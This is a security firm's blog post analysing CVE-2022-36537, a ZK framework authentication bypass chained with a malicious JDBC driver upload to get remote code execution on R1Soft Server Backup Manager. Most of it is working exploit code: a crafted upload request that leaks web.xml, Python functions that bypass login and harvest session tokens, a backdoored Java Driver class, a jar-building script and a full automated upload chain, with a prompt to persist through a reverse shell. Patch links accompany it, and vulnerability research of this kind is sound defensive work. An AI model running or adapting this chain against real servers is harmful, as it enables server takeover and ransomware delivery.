Numen

CVE-2022–36537 Vulnerability Technical Analysis with Exp

ZK is the top open-source Java web framework for creating enterprise web applications. With over 2 million downloads, ZK supports companies of all sizes, from small businesses to Fortune Global 500, across various industries.

R1Soft Server Backup Manager (SBM) provides a flexible, server-friendly backup solution to service providers. It allows for backups every 15 minutes without affecting server performance. Around 1,800 service providers use SBM to protect 250,000 servers.

Affected Versions

ZK Framework v9.6.1, 9.6.0.1, 9.5.1.3, 9.0.1.2 and 8.6.4.1.
ConnectWise Recover v2.9.7 and earlier versions are impacted.
R1Soft Server Backup Manager v6.16.3 and earlier versions are impacted.

ZK Framework Auth Bypass

The vulnerability description states that if the “/zkau/upload” route includes the “nextURI” parameter, the ZK AuUploader servlet will forward the request, bypassing authentication and exposing files in the web context, such as web.xml, zk page, applicationContext-security.xml configuration information, etc.

Analysis

Examine the “service()” method in “AuUploader.class” located at “webapps/web-temp/ui/WEB-INF/lib/zk-7.0.6.1.jar!/org/zkoss/zk/au/http/AuUploader.class” to find the handling of the “nextURI” parameter and the forwarding of requests.

The request must be of a multipart type

if (!isMultipartContent(request)) {

Request Construct

Construct a request to forward to web.xml. If the response ZK-Error header is 410, it indicates failure, with the dtid being a random input character.

Observe the http request and find that the dtid is randomly generated and comes with JSESSIONID.

Analyze the js called by the front end and find that the dtid is obtained from the zk.Desktop object.

Initiate an Ajax Request

Get dtid

Fill in dtid and the corresponding JSESSIONID

POST /zkau/upload?uuid=101010&dtid=z_h7y&sid=0&maxsize=-1 HTTP/1.1
Host: 10.211.55.6
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
ZK-SID: 3181
Accept: */*
Origin: http://10.211.55.6
Referer: http://10.211.55.6/login.zul
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8
Connection: close
Cookie:JSESSIONID=986150E63DB473A50F546481080F18CC
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJ7idG4OgW5iZREBG
Content-Length: 154

------WebKitFormBoundaryJ7idG4OgW5iZREBG
Content-Disposition: form-data; name="nextURI"

/WEB-INF/web.xml
------WebKitFormBoundaryJ7idG4OgW5iZREBG--

Try to visit the page

nextURI=/Configuration/server-info.zul

It was found that authentication was bypassed and sensitive information of the application was obtained.

Auto Get

Use webdriver to get

# https://chromedriver.storage.googleapis.com/index.html?path=107.0.5304.62/
def bypass_auth1(target):
    warnings.warn("Discard. The bypass auch2 function is simpler to obtain dtid and cookies.", DeprecationWarning)
    rprint("[italic green][*] Bypass authentication.")
    try:
        opt = webdriver.ChromeOptions()
        opt.add_argument('--headless')
        opt.add_argument('--ignore-certificate-errors')
        driver = webdriver.Chrome(executable_path='./chromedriver', options=opt)
        driver.get(target)
        cookie_str = "JSESSIONID=" + driver.get_cookie("JSESSIONID")['value']
        dtid = driver.execute_script("""
            for (var dtid in zk.Desktop.all)
            return dtid
        """)
        return dtid, cookie_str
    except Exception as e:
        rprint("[italic red][-] Bypass authentication failed. {0}".format(e))
        exit()

The method is deemed inconvenient, and the author later discovered the dtid is generated and included in the response packet when accessing login.zul

Optimize

def bypass_auth2(target):
    rprint("[italic green][*] Bypass authentication.")
    uri = "{0}/login.zul".format(target)
    try:
        result = requests.get(url=uri, timeout=3, verify=False, proxies=proxy)
        cookie_str = result.headers['Set-Cookie'].split(";")[0]
        r = u"dt:'(.*?)',cu:"
        regex = re.compile(r)
        dtid = regex.findall(result.text)[0]
        return dtid, cookie_str
    except Exception as e:
        rprint("[italic red][-] Bypass authentication failed. {0}".format(e))
        exit()

ConnectWise R1Soft Server Backup Manager RCE

R1Soft Server Backup Manager uses the ZK framework and has a vulnerability that allows setting the JDBC driver, potentially leading to remote command execution and takeover of the server.

Analysis

jdbc upload processing zk-web/WEB-INF/classes/com/r1soft/backup/server/web/configuration/DatabaseDriversWindow.class#onUpload() method.

Follow up the processUploadedMedia() method to get the file stream.

Pass in webapps/lib/cdpserver.jar!/com/r1soft/backup/server/facade/DatabaseFacade.class#uploadMySQLDriver() method.

Write out the file via the uploadDriverFile() method.

The method webapps/lib/cdpserver.jar!/com/r1soft/backup/server/worker/db/mysql/MySQLUtil.class#hasMySQLDriverClass() checks if the uploaded jar package contains org/gjt/mm/mysql/Driver.class. If not, it won’t add it to the classpath and return “The file does not contain the MySQL JDBC database driver.

The webapps/lib/cdpserver.jar!/com/r1soft/util/ClassPathUtil.class#addFile() method calls URLClassLoader to add the jar package to the classpath.

Finally webapps/lib/cdpserver.jar!/com/r1soft/backup/server/facade/DatabaseFacade.class#testMySQLDatabaseDriver() for driver test.

webapps/lib/cdpserver.jar!/com/r1soft/backup/server/db/mysql/MySQLDatabaseConnection.class#driverTest() finally executes the static code block in Driver during Class.forName.

jdbc Backdoor

As early as 2018, a proposal for a JDBC backdoor was made. Some applications allow administrators to upload JDBC drivers through the UI interface, making it convenient as there is no need to log into the server to add related jar packages. However, static code blocks in DriverManager are executed by default, which enables the execution of arbitrary code. For specific details, one can look into how the SPI mechanism implements JDBC, but it will not be explained here.

Writing a malicious com.mysql.jdbc.Driver involves implementing methods related to the java.sql.Driver interface and inserting malicious code in the static code block.

package com.mysql.jdbc; 
 
import java.sql.*; 
import java.util.*; 
import java.util.logging.Logger; 
 
/* 
    author: Bearcat of www.numencyber.com 
    desc  : Mysql jdbc backdoor driver 
*/ 
public class Driver implements java.sql.Driver { 
    static { 
        // any code... 
    } 
 
 @Override 
    public Connection connect(String url, Properties info) throws SQLException { 
        return null; 
    } 
 
    @Override 
    public boolean acceptsURL(String url) throws SQLException { 
        return false; 
    } 
 
    @Override 
    public DriverPropertyInfo[] getPropertyInfo(String url, Properties info) throws SQLException { 
        return new DriverPropertyInfo[0]; 
    } 
 
    @Override 
    public int getMajorVersion() { 
        return 0; 
    } 
 
    @Override 
    public int getMinorVersion() { 
        return 0; 
    } 
 
    @Override 
    public boolean jdbcCompliant() { 
        return false; 
    } 
 
    @Override 
    public Logger getParentLogger() throws SQLFeatureNotSupportedException { 
        return null; 
    } 
} 

Replace com.mysql.jdbc.Driver in the legal jdbc package.

def build_jdbc_backdoor():
    rprint("[italic green][*] Compile java code.")
    java_cmd = 'javac -source 1.5 -target 1.5 Driver.java'
    popen = subprocess.Popen(java_cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
    popen.stdout.read()

    tmp_path = 'jdbc_jar'
    os.mkdir(tmp_path)
    with zipfile.ZipFile('mysql-connector-java-5.1.48.jar', 'r', zipfile.ZIP_DEFLATED) as unzf:
        unzf.extractall("jdbc_jar")
        unzf.close()
    os.remove('jdbc_jar/com/mysql/jdbc/Driver.class')
    shutil.copy('Driver.class', 'jdbc_jar/com/mysql/jdbc/')

    with zipfile.ZipFile('jdbc_backdoor.jar', 'w', zipfile.ZIP_DEFLATED) as zf:
        for root, dirs, files in os.walk(tmp_path):
            relative_root = '' if root == tmp_path else root.replace(tmp_path, '') + os.sep
            for filename in files:
                zf.write(os.path.join(root, filename), relative_root + filename)
        zf.close()
    shutil.rmtree(tmp_path)

    rprint("[italic green][*] Build jdbc backdoor success.")

Request Construct

Going back to the ZK framework mechanism itself, each element on the page will randomly generate a unique identifier, and it is necessary to simulate the entire request process, taking login as an example.

Auto Upload

Simulate upload drive process

def forward_request(target, next_uri, cookie_str, uuid, dtid):
    uri = "{0}/zkau/upload?uuid={1}&dtid={2}&sid=0&maxsize=-1".format(target, uuid, dtid)
    param = {"nextURI": (None, next_uri)}
    headers = {"Cookie": cookie_str}
    data = MultipartEncoder(param, boundary="----WebKitFormBoundaryCs6yB0zvpfSBbYEp")
    headers["Content-Type"] = data.content_type
    try:
        result = requests.post(url=uri, headers=headers, data=data.to_string(), timeout=3, verify=False, proxies=proxy)
        return result
    except Exception as e:
        rprint("[italic red][-] Forward request failed. {0}".format(e))
        exit()
        
def deploy_jdbc_backdoor(target):
    rprint(
        "[italic red][!] The jdbc backdoor can only be deployed once, please make it persistent, such as rebounding the shell.")
    play_again = input("Whether to continue? (y/n):").lower()
    if play_again[0] != "y":
        exit()
    # get login_dtid
    login_dtid, cookie_str = bypass_auth2(target)
    rprint("[italic green][*] Start deploying the jdbc backdoor.")
    build_jdbc_backdoor()
    # database_dtid and mysql_driver_upload_button_id
    uri = "/Configuration/database-drivers.zul"
    result = forward_request(target, uri, cookie_str, "101010", login_dtid)
    r1 = u"{dt:'(.*?)',cu:"
    regex = re.compile(r1)
    database_dtid = regex.findall(result.text)[0]
    r1 = u"'zul.wgt.Button','(.*?)',"
    regex = re.compile(r1)
    mysql_driver_upload_button_id = regex.findall(result.text)[0]

    uri = "/zkau?dtid={0}&cmd_0=onClick&uuid_0={1}&data_0=%7B%22pageX%22%3A315%2C%22pageY%22%3A120%2C%22which%22%3A1%2C%22x%22%3A39%2C%22y%22%3A23%7D".format(
        database_dtid, mysql_driver_upload_button_id)
    result = forward_request(target, uri, cookie_str, "101010", login_dtid)

    # file_upload_dlg_id and file_upload_id
    r1 = u"zul.fud.FileuploadDlg','(.*?)',"
    regex = re.compile(r1)
    file_upload_dlg_id = regex.findall(result.text)[0]

    r1 = u"zul.wgt.Fileupload','(.*?)',"
    regex = re.compile(r1)
    file_upload_id = regex.findall(result.text)[0]

    uri = "{0}/zkau/upload?uuid={1}&dtid={2}&sid=0&maxsize=-1".format(target, file_upload_id, database_dtid)
    upload_jdbc_backdoor(uri, cookie_str)

    uri = "/zkau?dtid={0}&cmd_0=onMove&opt_0=i&uuid_0={1}&data_0=%7B%22left%22%3A%22716px%22%2C%22top%22%3A%22100px%22%7D&cmd_1=onZIndex&opt_1=i&uuid_1={2}&data_1=%7B%22%22%3A1800%7D&cmd_2=updateResult&data_2=%7B%22contentId%22%3A%22z__ul_0%22%2C%22wid%22%3A%22{3}%22%2C%22sid%22%3A%220%22%7D".format(
        database_dtid, file_upload_dlg_id, file_upload_dlg_id, file_upload_id)
    forward_request(target, uri, cookie_str, "101010", login_dtid)

    uri = "/zkau?dtid={0}&cmd_0=onClose&uuid_0={1}&data_0=%7B%22%22%3Atrue%7D".format(database_dtid,
                                                                                      file_upload_dlg_id)
    forward_request(target, uri, cookie_str, "101010", login_dtid)
    
def upload_jdbc_backdoor(uri, cookie_str):
    rprint("[italic green][*] Upload the database driver.")
    headers = {"Cookie": cookie_str}
    files = {'file': ('b.jar', open('jdbc_backdoor.jar', 'rb'), 'application/java-archive')}
    try:
        requests.post(uri, files=files, headers=headers, timeout=6, verify=False, proxies=proxy)
    except Exception as e:
        rprint("[italic red][-] Upload the database driver failed. {0}".format(e))
        exit()

Demo

For the complete exploit, please visit: https://github.com/numencyber/VulnerabilityPoC/tree/main/CVE-2022-36537

Summary

R1Soft Server Backup Manager uses the ZK framework. To ensure security, all parties involved in Web3 projects should be vigilant about potential vulnerabilities in Web3 infrastructures and promptly apply patches to avoid risks to security and potential loss of digital assets. Numen Cyber Labs will stay vigilant and track security threats in the Web3 world, providing innovative security solutions to ensure the safety of both on-chain and off-chain activities.

Internet Influence

Over 4,000 exposed R1Soft Server Backup Managers were discovered via Shodan, potentially making them vulnerable to attackers taking over the master server and agent host permissions and delivering ransomware. It is recommended that all Web3 project parties take necessary precautions and upgrade to a secure version to avoid potential security risks and loss of digital assets. For any inquiries or technical discussions, reach out to [email protected].

Patch Download

[ZK-5150] Vulnerability in zk upload — ZK-Tracker

ConnectWise Recover and R1Soft Server Backup Manager Critical Security Release

Numen Cyber Labs is committed to facilitating the safe development of Web3.0. We are dedicated to the security of the blockchain ecosystem, as well as operating systems & browser/mobile security. We regularly disseminate analyses on topics such as these, please stay tuned for more!

If you wish to audit and ensure that your projects are free from exploits such as these, please reach out to us here.

Numen Cyber Labs is committed to facilitating the safe development of Web 3.0. We are dedicated to the security of the blockchain ecosystem, as well as operating systems & browser/mobile security. We regularly disseminate analyses on topics such as these, please stay tuned or visit our blog here for more!

This blog was originally published on our Medium Account.

Share:

More Posts